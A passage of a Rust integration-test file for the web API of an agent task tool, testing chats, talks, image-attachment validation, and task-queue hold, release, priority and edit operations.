5742 let drafts = f.home.path().join("drafts");
5743 std::fs::create_dir_all(&drafts).expect("drafts dir");
5744 std::fs::write(
5746 drafts.join("20260901-000000-aaaa.md"),
5747 "# Rework the config loader\n",
5748 )
5749 .unwrap();
5750 std::fs::write(
5751 drafts.join("20260901-000000-aaaa.advisors.json"),
5752 r#"{"records":[
5753 {"seat":"advisor-1","agent":"a","duration_ms":1,
5754 "proposal":{"approach":"x","key_tradeoff":"y","why_not_naive":"z"}},
5755 {"seat":"advisor-2","agent":"b","duration_ms":1,"error":"boom"}
5756 ]}"#,
5757 )
5758 .unwrap();
5759 std::fs::write(
5761 drafts.join("20260902-000000-bbbb.advisors.json"),
5762 r#"{"records":[]}"#,
5763 )
5764 .unwrap();
5765 std::fs::write(drafts.join("20260903-000000-cccc.md"), "# no advisors\n").unwrap();
5767
5768 let res = f.get("/api/drafts").await;
5769 assert_eq!(res.status, 200, "{}", res.body);
5770 let list = res.json();
5771 let rows = list.as_array().expect("an array");
5772 assert_eq!(rows.len(), 2, "{list}");
5773 assert_eq!(rows[0]["id"], "20260902-000000-bbbb", "newest first");
5774 assert_eq!(
5775 rows[0]["title"], "20260902-000000-bbbb",
5776 "falls back to the id"
5777 );
5778 assert_eq!(rows[1]["id"], "20260901-000000-aaaa");
5779 assert_eq!(rows[1]["title"], "Rework the config loader");
5780 assert_eq!(rows[1]["seats"], 2);
5781 assert_eq!(rows[1]["proposals"], 1);
5782 }
5783
5784 #[tokio::test]
5785 async fn posting_a_chat_with_an_unknown_from_names_the_id_in_a_4xx() {
5786 let f = Fixture::start().await;
5787 let res = f
5788 .post(
5789 "/api/chats",
5790 Some(r#"{"idea":"same idea, another repo","from":"nosuchchat"}"#),
5791 )
5792 .await;
5793 assert!(res.status >= 400 && res.status < 500, "{}", res.status);
5794 assert!(
5795 res.json()["error"]
5796 .as_str()
5797 .is_some_and(|e| e.contains("nosuchchat")),
5798 "the error names the id that does not exist: {}",
5799 res.body
5800 );
5801 assert!(
5802 f.chats().list().is_empty(),
5803 "a chat must not be created against an unresolvable `from`"
5804 );
5805 }
5806
5807 const MOCK_AGENT_TOML: &str = "[roles]\nplanner = \"mock\"\n\n[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
5824
5825 const SLOW_MOCK_AGENT_TOML: &str = "[roles]\nplanner = \"mock\"\n\n[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
5830
5831 #[tokio::test]
5832 async fn a_posted_chat_takes_the_given_repo_and_otherwise_keeps_the_servers_own() {
5833 let tmp = TempDir::new().expect("tempdir");
5834 let repo = tmp.path().join("repo");
5835 let other = tmp.path().join("other");
5836 std::fs::create_dir_all(&repo).expect("repo dir");
5837 std::fs::create_dir_all(&other).expect("other repo dir");
5838 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5842 std::fs::write(other.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5843
5844 let f = Fixture::with_repo(repo.clone()).await;
5845
5846 let default_res = f
5847 .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
5848 .await;
5849 assert_eq!(default_res.status, 202, "{}", default_res.body);
5850 assert_eq!(
5851 default_res.json()["repo"],
5852 repo.canonicalize().unwrap().display().to_string(),
5853 "omitting `repo` must keep the server's own"
5854 );
5855
5856 let body = format!(
5857 r#"{{"idea":"rework the config loader","repo":{:?}}}"#,
5858 other.to_string_lossy()
5859 );
5860 let explicit_res = f.post("/api/chats", Some(&body)).await;
5861 assert_eq!(explicit_res.status, 202, "{}", explicit_res.body);
5862 assert_eq!(
5863 explicit_res.json()["repo"],
5864 other.canonicalize().unwrap().display().to_string(),
5865 "an explicit `repo` must override the server's own"
5866 );
5867 }
5868
5869 #[tokio::test]
5870 async fn posting_a_chat_against_a_repo_with_a_broken_config_is_a_4xx_and_creates_no_chat() {
5871 let tmp = TempDir::new().expect("tempdir");
5872 let repo = tmp.path().join("repo");
5873 std::fs::create_dir_all(&repo).expect("repo dir");
5874 std::fs::write(repo.join("magi.toml"), "this is not valid toml [[[")
5877 .expect("write magi.toml");
5878
5879 let f = Fixture::with_repo(repo).await;
5880 let res = f
5881 .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
5882 .await;
5883 assert!(res.status >= 400 && res.status < 500, "{}", res.body);
5884 assert!(
5885 f.chats().list().is_empty(),
5886 "a repo whose config will not load must not leave a chat file behind"
5887 );
5888 }
5889
5890 #[tokio::test]
5891 async fn posting_a_chat_with_no_runnable_agent_is_a_4xx_and_creates_no_chat() {
5892 let tmp = TempDir::new().expect("tempdir");
5893 let repo = tmp.path().join("repo");
5894 std::fs::create_dir_all(&repo).expect("repo dir");
5895 std::fs::write(
5898 repo.join("magi.toml"),
5899 "[roles]\nplanner = \"nobody\"\n\n[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"printf ok\"]\n",
5900 )
5901 .expect("write magi.toml");
5902
5903 let f = Fixture::with_repo(repo).await;
5904 let res = f
5905 .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
5906 .await;
5907 assert!(res.status >= 400 && res.status < 500, "{}", res.body);
5908 assert!(
5909 res.json()["error"]
5910 .as_str()
5911 .is_some_and(|e| e.contains("nobody")),
5912 "the error names the agent that could not be picked: {}",
5913 res.body
5914 );
5915 assert!(
5916 f.chats().list().is_empty(),
5917 "a repo with no runnable interviewing agent must not leave a chat file behind"
5918 );
5919 }
5920
5921 #[tokio::test]
5922 async fn a_posted_chats_first_turn_reads_as_thinking_until_it_lands() {
5923 let tmp = TempDir::new().expect("tempdir");
5924 let repo = tmp.path().join("repo");
5925 std::fs::create_dir_all(&repo).expect("repo dir");
5926 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write magi.toml");
5927 let f = Fixture::with_repo(repo).await;
5928
5929 let posted = f
5930 .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
5931 .await;
5932 assert_eq!(posted.status, 202, "{}", posted.body);
5933 let body = posted.json();
5934 assert_eq!(
5935 body["thinking"], true,
5936 "the first turn is running in the background the instant this answers: {body}"
5937 );
5938 assert_eq!(
5939 body["turns"].as_array().map(Vec::len),
5940 Some(1),
5941 "only the operator's idea is on disk yet: {body}"
5942 );
5943 let id = body["id"].as_str().expect("id").to_owned();
5944
5945 let listed = f.get("/api/chats").await.json();
5948 let row = listed
5949 .as_array()
5950 .expect("array")
5951 .iter()
5952 .find(|c| c["id"] == id)
5953 .unwrap_or_else(|| panic!("{id} in {listed}"));
5954 assert_eq!(row["thinking"], true, "{listed}");
5955
5956 let raced = f
5959 .post(
5960 &format!("/api/chats/{id}/say"),
5961 Some(r#"{"text":"anything"}"#),
5962 )
5963 .await;
5964 assert_eq!(
5965 raced.status, 409,
5966 "the first turn's guard must still be held: {}",
5967 raced.body
5968 );
5969
5970 let mut turns_after = 1;
5971 let mut thinking_after = true;
5972 for _ in 0..200 {
5973 let detail = f.get(&format!("/api/chats/{id}")).await.json();
5974 turns_after = detail["turns"].as_array().expect("turns array").len();
5975 thinking_after = detail["thinking"].as_bool().expect("thinking is a bool");
5976 if turns_after == 2 && !thinking_after {
5977 break;
5978 }
5979 tokio::time::sleep(Duration::from_millis(10)).await;
5980 }
5981 assert_eq!(turns_after, 2, "the agent's first reply eventually lands");
5982 assert!(!thinking_after, "the guard is released once the turn ends");
5983 }
5984
5985 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
5989 let tmp = TempDir::new().expect("tempdir");
5990 let repo = tmp.path().join("repo");
5991 std::fs::create_dir_all(&repo).expect("repo dir");
5992 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5993 let f = Fixture::with_repo(repo.clone()).await;
5994 (tmp, repo, f)
5995 }
5996
5997 #[tokio::test]
5998 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
5999 let (_tmp, _repo, f) = talk_fixture().await;
6000
6001 let opened = f.post("/api/talks", None).await;
6004 assert_eq!(opened.status, 201, "{}", opened.body);
6005 let body = opened.json();
6006 assert_eq!(body["status"], "open");
6007 assert_eq!(
6008 body["turns"].as_array().unwrap().len(),
6009 0,
6010 "opening takes no agent turn: there is nothing yet to answer"
6011 );
6012
6013 let also_opened = f.post("/api/talks", Some("{}")).await;
6015 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
6016
6017 let listed = f.get("/api/talks").await.json();
6018 assert_eq!(listed.as_array().unwrap().len(), 2);
6019 }
6020
6021 #[tokio::test]
6022 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
6023 let f = Fixture::start().await;
6024 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
6025 let queue = f.queue();
6026 let mut mine = Task::new(
6027 "rename the loader".to_owned(),
6028 "rename the loader".to_owned(),
6029 PathBuf::from("/repo/magi"),
6030 Source::Agent {
6031 run: talk_id.clone(),
6032 node: "chat".to_owned(),
6033 },
6034 );
6035 queue.put(&mut mine).expect("file the task");
6036 let mut theirs = Task::new(
6037 "unrelated".to_owned(),
6038 "unrelated".to_owned(),
6039 PathBuf::from("/repo/magi"),
6040 Source::Human,
6041 );
6042 queue.put(&mut theirs).expect("file the task");
6043
6044 let res = f.get(&format!("/api/talks/{talk_id}")).await;
6045 assert_eq!(res.status, 200, "{}", res.body);
6046 let body = res.json();
6047 assert_eq!(
6048 body["status"], "open",
6049 "filing a task does not close a talk"
6050 );
6051 let tasks = body["tasks"].as_array().expect("tasks array");
6052 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
6053 assert_eq!(tasks[0]["id"], mine.id);
6054 }
6055
6056 #[tokio::test]
6057 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
6058 let (_tmp, _repo, f) = talk_fixture().await;
6059 let id = f.post("/api/talks", None).await.json()["id"]
6060 .as_str()
6061 .expect("id")
6062 .to_owned();
6063
6064 let res = f
6065 .post(
6066 &format!("/api/talks/{id}/say"),
6067 Some(r#"{"text":"what does the queue module do?"}"#),
6068 )
6069 .await;
6070 assert_eq!(res.status, 202, "{}", res.body);
6071 let queued = res.json();
6072 let turns = queued["turns"].as_array().expect("turns array");
6073 assert_eq!(
6074 turns.len(),
6075 1,
6076 "the answer reflects only what is on disk the instant it is sent, \
6077 before the agent's turn - which can run for the whole of \
6078 `[graph] timeout_talk` - has a chance to land: {queued}"
6079 );
6080 assert_eq!(turns[0]["who"], "operator");
6081 assert_eq!(turns[0]["body"], "what does the queue module do?");
6082
6083 let mut turns_after = 1;
6084 for _ in 0..200 {
6085 let detail = f.get(&format!("/api/talks/{id}")).await.json();
6086 turns_after = detail["turns"].as_array().expect("turns array").len();
6087 if turns_after == 2 {
6088 break;
6089 }
6090 tokio::time::sleep(Duration::from_millis(10)).await;
6091 }
6092 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
6093 }
6094
6095 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
6098
6099 #[tokio::test]
6100 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
6101 let f = Fixture::start().await;
6102 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
6103
6104 let res = f
6105 .post_bytes(
6106 &format!("/api/talks/{id}/attachments"),
6107 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6108 PNG_BYTES,
6109 )
6110 .await;
6111 assert_eq!(res.status, 201, "{}", res.body);
6112 let body = res.json();
6113 assert_eq!(body["name"], "shot.png");
6114 assert_eq!(body["mime"], "image/png");
6115 assert_eq!(body["bytes"], PNG_BYTES.len());
6116 let att_id = body["id"].as_str().expect("id").to_owned();
6117 assert_eq!(
6118 att_id.len(),
6119 32,
6120 "the id must never be a client-suppliable path: {att_id}"
6121 );
6122
6123 let got = f
6124 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
6125 .await;
6126 assert_eq!(got.status, 200, "{}", got.body);
6127 assert_eq!(got.header("content-type"), Some("image/png"));
6128 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
6129 assert_eq!(got.bytes, PNG_BYTES);
6130 }
6131
6132 #[tokio::test]
6133 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
6134 let f = Fixture::start().await;
6135 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
6136
6137 let svg = f
6140 .post_bytes(
6141 &format!("/api/talks/{id}/attachments"),
6142 &[("Content-Type", "image/svg+xml")],
6143 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
6144 )
6145 .await;
6146 assert!(
6147 (400..500).contains(&svg.status),
6148 "svg must be refused: {} {}",
6149 svg.status,
6150 svg.body
6151 );
6152 assert!(svg.body.contains("SVG"), "{}", svg.body);
6153
6154 let text = f
6155 .post_bytes(
6156 &format!("/api/talks/{id}/attachments"),
6157 &[("Content-Type", "text/plain")],
6158 b"just some text",
6159 )
6160 .await;
6161 assert!(
6162 (400..500).contains(&text.status),
6163 "an unlisted type must be refused: {} {}",
6164 text.status,
6165 text.body
6166 );
6167
6168 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
6171 let big = f
6172 .post_bytes(
6173 &format!("/api/talks/{id}/attachments"),
6174 &[("Content-Type", "image/png")],
6175 &oversized,
6176 )
6177 .await;
6178 assert_eq!(
6179 big.status,
6180 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
6181 "{}",
6182 big.body
6183 );
6184 }
6185
6186 #[tokio::test]
6187 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
6188 let f = Fixture::start().await;
6189 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
6190
6191 let res = f
6194 .post_bytes(
6195 &format!("/api/talks/{id}/attachments"),
6196 &[("Content-Type", "image/png")],
6197 b"<html>not a picture</html>",
6198 )
6199 .await;
6200 assert!((400..500).contains(&res.status), "{}", res.body);
6201 }
6202
6203 #[tokio::test]
6204 async fn an_unknown_attachment_id_is_a_404() {
6205 let f = Fixture::start().await;
6206 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
6207
6208 let res = f
6209 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
6210 .await;
6211 assert_eq!(res.status, 404, "{}", res.body);
6212 }
6213
6214 #[tokio::test]
6215 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
6216 let f = Fixture::start().await;
6217 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
6218
6219 let uploaded = f
6220 .post_bytes(
6221 &format!("/api/talks/{id}/attachments"),
6222 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6223 PNG_BYTES,
6224 )
6225 .await;
6226 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6227 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
6228
6229 let res = f
6230 .post(
6231 &format!("/api/talks/{id}/say"),
6232 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
6233 )
6234 .await;
6235 assert_eq!(res.status, 202, "{}", res.body);
6236 let queued = res.json();
6237 let turns = queued["turns"].as_array().expect("turns array");
6238 assert_eq!(
6239 turns.len(),
6240 1,
6241 "an empty body with an attachment is still a turn: {queued}"
6242 );
6243 assert_eq!(turns[0]["who"], "operator");
6244 assert_eq!(turns[0]["body"], "");
6245 let atts = turns[0]["attachments"]
6246 .as_array()
6247 .expect("attachments array");
6248 assert_eq!(atts.len(), 1);
6249 assert_eq!(atts[0]["id"], att_id);
6250 assert_eq!(atts[0]["mime"], "image/png");
6251
6252 let on_disk = f.talks().get(&id).expect("get");
6255 assert_eq!(on_disk.turns[0].attachments.len(), 1);
6256 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
6257 }
6258
6259 #[tokio::test]
6260 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
6261 let f = Fixture::start().await;
6262 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
6263
6264 let res = f
6265 .post(
6266 &format!("/api/talks/{id}/say"),
6267 Some(&format!(
6268 r#"{{"text":"hi","attachments":["{}"]}}"#,
6269 "a".repeat(32)
6270 )),
6271 )
6272 .await;
6273 assert!((400..500).contains(&res.status), "{}", res.body);
6274 assert!(res.body.contains("unknown attachment"), "{}", res.body);
6275
6276 let on_disk = f.talks().get(&id).expect("get");
6277 assert!(
6278 on_disk.turns.is_empty(),
6279 "a rejected attachment id must not partially record the turn: {:?}",
6280 on_disk.turns
6281 );
6282 }
6283
6284 #[tokio::test]
6285 async fn chat_say_persists_an_attachment_in_the_turn_json() {
6286 let tmp = TempDir::new().expect("tempdir");
6287 let repo = tmp.path().join("repo");
6288 std::fs::create_dir_all(&repo).expect("repo dir");
6289 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6290 let f = Fixture::with_repo(repo.clone()).await;
6291
6292 let opened = f
6293 .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
6294 .await;
6295 assert_eq!(opened.status, 202, "{}", opened.body);
6296 let id = opened.json()["id"].as_str().expect("id").to_owned();
6297
6298 let mut thinking = true;
6302 for _ in 0..200 {
6303 let detail = f.get(&format!("/api/chats/{id}")).await.json();
6304 thinking = detail["thinking"].as_bool().expect("thinking is a bool");
6305 if !thinking {
6306 break;
6307 }
6308 tokio::time::sleep(Duration::from_millis(10)).await;
6309 }
6310 assert!(
6311 !thinking,
6312 "the first turn must finish before this test continues"
6313 );
6314
6315 let uploaded = f
6316 .post_bytes(
6317 &format!("/api/chats/{id}/attachments"),
6318 &[("Content-Type", "image/png")],
6319 PNG_BYTES,
6320 )
6321 .await;
6322 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6323 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
6324
6325 let res = f
6326 .post(
6327 &format!("/api/chats/{id}/say"),
6328 Some(&format!(
6329 r#"{{"text":"here is a screenshot","attachments":["{att_id}"]}}"#
6330 )),
6331 )
6332 .await;
6333 assert_eq!(res.status, 202, "{}", res.body);
6334
6335 let on_disk = f.chats().get(&id).expect("get");
6336 let operator_turn = on_disk
6337 .turns
6338 .iter()
6339 .find(|t| t.body == "here is a screenshot")
6340 .expect("the new operator turn");
6341 assert_eq!(operator_turn.attachments.len(), 1);
6342 assert_eq!(operator_turn.attachments[0].id, att_id);
6343 }
6344
6345 #[tokio::test]
6346 async fn talk_close_makes_the_talk_refuse_further_turns() {
6347 let f = Fixture::start().await;
6348 let id = seed_talk(&f, "20260904-014455-cd34", "open");
6349
6350 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6351 assert_eq!(closed.status, 200, "{}", closed.body);
6352 assert_eq!(closed.json()["status"], "closed");
6353
6354 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
6356 assert_eq!(closed_again.status, 200);
6357 assert_eq!(closed_again.json()["status"], "closed");
6358 }
6359
6360 #[tokio::test]
6361 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
6362 let (_tmp, _repo, f) = talk_fixture().await;
6363 let id = f.post("/api/talks", None).await.json()["id"]
6364 .as_str()
6365 .expect("id")
6366 .to_owned();
6367 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6368 assert_eq!(closed.status, 200, "{}", closed.body);
6369
6370 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6371 assert_eq!(reopened.status, 200, "{}", reopened.body);
6372 assert_eq!(reopened.json()["status"], "open");
6373
6374 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6376 assert_eq!(reopened_again.status, 200);
6377 assert_eq!(reopened_again.json()["status"], "open");
6378
6379 let said = f
6380 .post(
6381 &format!("/api/talks/{id}/say"),
6382 Some(r#"{"text":"still there?"}"#),
6383 )
6384 .await;
6385 assert_eq!(
6386 said.status, 202,
6387 "a reopened talk accepts turns again: {}",
6388 said.body
6389 );
6390 }
6391
6392 #[tokio::test]
6393 async fn talk_reopen_on_an_unknown_id_is_404() {
6394 let f = Fixture::start().await;
6395 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
6396 assert_eq!(res.status, 404, "{}", res.body);
6397 }
6398
6399 #[tokio::test]
6400 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
6401 let f = Fixture::start().await;
6402 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
6403
6404 let deleted = f.delete(&format!("/api/talks/{id}")).await;
6405 assert_eq!(deleted.status, 204, "{}", deleted.body);
6406
6407 let after = f.get(&format!("/api/talks/{id}")).await;
6408 assert_eq!(after.status, 404, "{}", after.body);
6409
6410 let listed = f.get("/api/talks").await.json();
6411 assert!(
6412 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
6413 "a deleted talk must not linger in the list: {listed}"
6414 );
6415 }
6416
6417 #[tokio::test]
6418 async fn talk_delete_on_an_unknown_id_is_404() {
6419 let f = Fixture::start().await;
6420 let res = f.delete("/api/talks/nonexistent-id").await;
6421 assert_eq!(res.status, 404, "{}", res.body);
6422 }
6423
6424 #[tokio::test]
6425 async fn talks_never_appear_in_the_planning_chat_list() {
6426 let (_tmp, _repo, f) = talk_fixture().await;
6427
6428 let opened = f.post("/api/talks", None).await;
6429 assert_eq!(opened.status, 201, "{}", opened.body);
6430
6431 let chats = f.get("/api/chats").await.json();
6432 assert!(
6433 chats.as_array().unwrap().is_empty(),
6434 "a talk must never surface as a planning chat: {chats}"
6435 );
6436 let talks = f.get("/api/talks").await.json();
6437 assert_eq!(talks.as_array().unwrap().len(), 1);
6438 }
6439
6440 #[tokio::test]
6441 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
6442 let f = Fixture::start().await;
6443 let queue = f.queue();
6444 let mut task = Task::new(
6445 "spent".to_owned(),
6446 "Try again".to_owned(),
6447 PathBuf::from("/repo/magi"),
6448 Source::Human,
6449 );
6450 task.start("20260902-140502-bbbb".to_owned());
6451 task.fail("agent gave up", 9);
6452 queue.put(&mut task).expect("file the task");
6453
6454 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6455 assert_eq!(held.status, 200);
6456 assert_eq!(held.json()["status_str"], "held");
6457
6458 let released = f
6459 .post(&format!("/api/queue/{}/release", task.id), None)
6460 .await;
6461 assert_eq!(released.status, 200);
6462 assert_eq!(released.json()["status_str"], "queued");
6463 assert_eq!(
6464 released.json()["attempts"],
6465 0,
6466 "release is a real second chance, not an instant re-hold"
6467 );
6468 assert_eq!(
6469 queue.get(&task.id).expect("reload").status,
6470 TaskStatus::Queued,
6471 "the change is on disk, not only in the reply"
6472 );
6473 assert!(
6474 !f.home
6475 .path()
6476 .join("queue")
6477 .join(format!("{}.lock", task.id))
6478 .exists(),
6479 "the claim the mutation took is released again"
6480 );
6481 }
6482
6483 #[tokio::test]
6484 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
6485 let f = Fixture::start().await;
6486 let queue = f.queue();
6487 let mut task = Task::new(
6488 "busy".to_owned(),
6489 "Running right now".to_owned(),
6490 PathBuf::from("/repo/magi"),
6491 Source::Human,
6492 );
6493 queue.put(&mut task).expect("file the task");
6494 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6495
6496 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6497
6498 assert_eq!(res.status, 409);
6499 assert_eq!(
6500 queue.get(&task.id).expect("reload").status,
6501 TaskStatus::Queued,
6502 "the refused hold changed nothing"
6503 );
6504 }
6505
6506 #[tokio::test]
6507 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
6508 let f = Fixture::start().await;
6509 let queue = f.queue();
6510 let mut task = Task::new(
6511 "waiting on the migration".to_owned(),
6512 "Do the thing".to_owned(),
6513 PathBuf::from("/repo/magi"),
6514 Source::Human,
6515 );
6516 queue.put(&mut task).expect("file the task");
6517
6518 let held = f
6519 .post(
6520 &format!("/api/queue/{}/hold", task.id),
6521 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
6522 )
6523 .await;
6524 assert_eq!(held.status, 200, "{}", held.body);
6525 assert_eq!(held.json()["status_str"], "held");
6526 assert_eq!(
6527 held.json()["hold_reason"],
6528 "waiting for 20260101-000000-aaaa to land"
6529 );
6530
6531 let listed = f.get("/api/queue").await.json();
6532 assert_eq!(
6533 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
6534 "the card reads the reason off the same list route"
6535 );
6536
6537 let mut plain = Task::new(
6540 "no reason given".to_owned(),
6541 "Do another thing".to_owned(),
6542 PathBuf::from("/repo/magi"),
6543 Source::Human,
6544 );
6545 queue.put(&mut plain).expect("file the task");
6546 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
6547 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
6548 assert!(held_plain.json()["hold_reason"].is_null());
6549
6550 let released = f
6551 .post(&format!("/api/queue/{}/release", task.id), None)
6552 .await;
6553 assert_eq!(released.status, 200);
6554 assert!(
6555 released.json()["hold_reason"].is_null(),
6556 "a release must clear the reason so the next hold does not inherit it"
6557 );
6558 }
6559
6560 #[tokio::test]
6561 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
6562 let f = Fixture::start().await;
6563 let queue = f.queue();
6564 let mut older = Task::new(
6565 "filed first".to_owned(),
6566 "x".to_owned(),
6567 PathBuf::from("/repo/magi"),
6568 Source::Human,
6569 );
6570 older.id = "20260101-000001-aaaa".to_owned();
6571 let mut newer = Task::new(
6572 "filed second".to_owned(),
6573 "x".to_owned(),
6574 PathBuf::from("/repo/magi"),
6575 Source::Human,
6576 );
6577 newer.id = "20260101-000002-bbbb".to_owned();
6578 queue.put(&mut older).expect("file older");
6579 queue.put(&mut newer).expect("file newer");
6580
6581 let before = f.get("/api/queue").await.json();
6584 assert_eq!(before[0]["id"], newer.id);
6585 assert_eq!(before[1]["id"], older.id);
6586
6587 let raised = f
6591 .post(
6592 &format!("/api/queue/{}/priority", older.id),
6593 Some(r#"{"priority":10}"#),
6594 )
6595 .await;
6596 assert_eq!(raised.status, 200, "{}", raised.body);
6597 assert_eq!(raised.json()["priority"], 10);
6598
6599 let after = f.get("/api/queue").await.json();
6600 let names: Vec<&str> = after
6601 .as_array()
6602 .unwrap()
6603 .iter()
6604 .map(|t| t["id"].as_str().unwrap())
6605 .collect();
6606 assert_eq!(names[0], older.id, "the raised task now sorts first");
6610 }
6611
6612 #[tokio::test]
6613 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
6614 let f = Fixture::start().await;
6615 let queue = f.queue();
6616 let mut task = Task::new(
6617 "in flight".to_owned(),
6618 "x".to_owned(),
6619 PathBuf::from("/repo/magi"),
6620 Source::Human,
6621 );
6622 task.start("20260902-140502-bbbb".to_owned());
6623 queue.put(&mut task).expect("file the task");
6624
6625 let res = f
6626 .post(
6627 &format!("/api/queue/{}/priority", task.id),
6628 Some(r#"{"priority":9}"#),
6629 )
6630 .await;
6631 assert_eq!(res.status, 400, "{}", res.body);
6632 assert!(
6633 res.json()["error"]
6634 .as_str()
6635 .is_some_and(|e| e.contains("running")),
6636 "{}",
6637 res.body
6638 );
6639 assert_eq!(
6640 queue.get(&task.id).expect("reload").priority,
6641 0,
6642 "the refused write must not partially apply"
6643 );
6644 }
6645
6646 #[tokio::test]
6647 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
6648 let f = Fixture::start().await;
6649 let queue = f.queue();
6650 let mut task = Task::new(
6651 "old title".to_owned(),
6652 "old instruction".to_owned(),
6653 PathBuf::from("/repo/magi"),
6654 Source::Agent {
6655 run: "20260101-000000-beef".to_owned(),
6656 node: "implement".to_owned(),
6657 },
6658 );
6659 task.runs.push("20260101-000000-beef".to_owned());
6660 queue.put(&mut task).expect("file the task");
6661 let created_at = task.created_at;
6662
6663 let edited = f
6664 .post(
6665 &format!("/api/queue/{}/edit", task.id),
6666 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
6667 )
6668 .await;
6669 assert_eq!(edited.status, 200, "{}", edited.body);
6670 let body = edited.json();
6671 assert_eq!(body["title"], "new title");
6672 assert_eq!(body["instruction"], "new instruction");
6673 assert_eq!(body["id"], task.id, "editing must not mint a new id");
6674 assert_eq!(body["created_at"], created_at.to_string());
6675 assert_eq!(
6676 body["source"]["kind"], "agent",
6677 "editing a task an agent filed must not turn it human: {body}"
6678 );
6679 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
6680
6681 let reloaded = queue.get(&task.id).expect("reload");
6682 assert_eq!(reloaded.title, "new title");
6683 assert_eq!(reloaded.instruction, "new instruction");
6684 }
6685
6686 #[tokio::test]
6687 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
6688 let f = Fixture::start().await;
6689 let queue = f.queue();
6690 let mut task = Task::new(
6691 "in flight".to_owned(),
6692 "do not touch".to_owned(),
6693 PathBuf::from("/repo/magi"),
6694 Source::Human,
6695 );
6696 task.start("20260902-140502-bbbb".to_owned());
6697 queue.put(&mut task).expect("file the task");
6698
6699 let res = f
6700 .post(
6701 &format!("/api/queue/{}/edit", task.id),
6702 Some(r#"{"title":"x","instruction":"y"}"#),
6703 )
6704 .await;
6705 assert_eq!(res.status, 400, "{}", res.body);
6706 assert!(
6707 res.json()["error"]
6708 .as_str()
6709 .is_some_and(|e| e.contains("running")),
6710 "{}",
6711 res.body
6712 );
6713 assert_eq!(
6714 queue.get(&task.id).expect("reload").instruction,
6715 "do not touch",
6716 "the refused edit must not change the file"
6717 );
6718 }
6719
6720 #[tokio::test]
